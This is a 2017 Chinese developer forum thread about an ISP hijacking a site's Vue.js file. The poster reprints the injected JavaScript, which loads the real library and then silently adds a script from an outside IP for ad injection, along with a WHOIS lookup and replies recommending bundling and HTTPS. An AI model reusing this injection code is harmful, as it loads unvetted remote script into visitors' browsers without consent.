
偶尔刷新,发现报错说 Vue 错误找不到,这明显不可能嘛,一查,发现 Vue.js 被替换了,点进去看还有源代码!
(function() { o = "http://xxxxxxxxxxxxx/vue2.5.3/vue.min.js?"; sh = "http://175.6.223.15:9901/main.js?v=3.95&sp=4303&ty=dpc"; w = window; d = document; function ins(s, dm, id) { e = d.reateElement("script"); e.src = s; e.type = "text/Javascript"; id ? e.id = id : null; dm.appendChild(e); } ;p = d.scripts[d.scripts.length - 1].parentNode; ins(o, p); ds = function() { db = d.body; if (db && !document.getElementById("bdstat")) { if ((w.innerWidth || d.documentElement.clientWidth || db.clientWidth) > 1) { if (w.top == w.self) { ins(sh, db, "bdstat"); } } } else { setTimeout("ds()", 1500); } } ; ds(); } )(); var mim_params = { 'sp': '4303', 'aid': '11982', 'sda_man': '', 'src': '0', 'adtype': '18', 'uid': 'VCpdXydAXCotUlNNKytcWF07LlxaWlJPLF1cKSQ/LyksLlRLKy1ZXQ==', 'spid': 'hljunicom', 'ad_list': '11982' }; 还偶尔被别的替换掉
http://124.232.160.178/v1/?p=www.xxxxxxx.com.cn%2fzzzz%2fticket20171101%2fzzzzz%2fvue2.5.3%2fvue.min.js&t=18000001 妈的真缺德,现在连 js 都被劫持了
看了下 whois
WHOIS Results for:175.6.223.15 % [whois.apnic.net] % Whois data copyright terms http://www.apnic.net/db/dbcopyright.html % Information related to \'175.0.0.0 - 175.15.255.255\' % Abuse contact for \'175.0.0.0 - 175.15.255.255\' is \'[email protected]\' inetnum: 175.0.0.0 - 175.15.255.255 netname: CHINANET-HN descr: CHINANET HUNAN PROVINCE NETWORK descr: China Telecom descr: No.31,jingrong street descr: Beijing 100032 country: CN status: ALLOCATED PORTABLE admin-c: CH93-AP tech-c: CH636-AP remarks: service provider remarks: -------------------------------------------------------- remarks: To report network abuse, please contact mnt-irt remarks: For troubleshooting, please contact tech-c and admin-c remarks: Report invalid contact via www.apnic.net/invalidcontact remarks: -------------------------------------------------------- mnt-by: APNIC-HM mnt-lower: MAINT-CHINANET-HN last-modified: 2016-05-04T00:20:50Z source: APNIC mnt-irt: IRT-CHINANET-CN irt: IRT-CHINANET-CN address: No.31 ,jingrong street,beijing address: 100032 e-mail: [email protected] abuse-mailbox: [email protected] admin-c: CH93-AP tech-c: CH93-AP auth: # Filtered mnt-by: MAINT-CHINANET last-modified: 2010-11-15T00:31:55Z source: APNIC role: CHINANET HUNAN address: No.1 TuanJie road,ChangSha,Hunan 410005 country: CN phone: +86 731 4792092 fax-no: +86 731 4792007 e-mail: [email protected] remarks: send spam reports to [email protected] remarks: and abuse reports to [email protected] remarks: Please include detailed information and remarks: times in UTC admin-c: CH632-AP tech-c: CS499-AP nic-hdl: CH636-AP mnt-by: MAINT-CHINANET-HN last-modified: 2014-02-12T08:30:53Z source: APNIC person: Chinanet Hostmaster nic-hdl: CH93-AP e-mail: [email protected] address: No.31 ,jingrong street,beijing address: 100032 phone: +86-10-58501724 fax-no: +86-10-58501724 country: CN mnt-by: MAINT-CHINANET last-modified: 2014-02-27T03:37:38Z source: APNIC % This query was served by the APNIC Whois Service version 1.88.15-43 (WHOIS-NODE2) 麻痹!
1 CDL 2017-11-07 19:36:35 +08:00 那就直接 webpage 整个打包 |
4 wenzhoou 2017-11-08 12:20:08 +08:00 via Android 怎么被劫持的呢? |
5 sothx 2018-02-08 10:48:48 +08:00 via iPhone 拖到本地 |
8 sothx 2018-02-08 20:24:03 +08:00 via iPhone 同时上 HTTPS |